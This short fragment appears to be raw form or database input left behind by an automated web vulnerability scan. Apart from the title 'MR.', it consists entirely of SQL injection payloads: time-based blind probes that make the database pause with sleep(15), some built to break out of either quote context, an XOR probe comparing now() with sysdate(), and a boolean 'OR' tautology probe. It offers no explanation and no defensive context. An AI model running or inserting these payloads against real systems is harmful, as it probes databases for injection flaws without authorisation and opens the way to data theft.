MR.  
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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  Mr.0\'XOR(if(now()=sysdate(),sleep(15),0))XOR\'Z if(now()=sysdate(),sleep(15),0) -1\" OR 2+835-835-1=0+0+0+1 --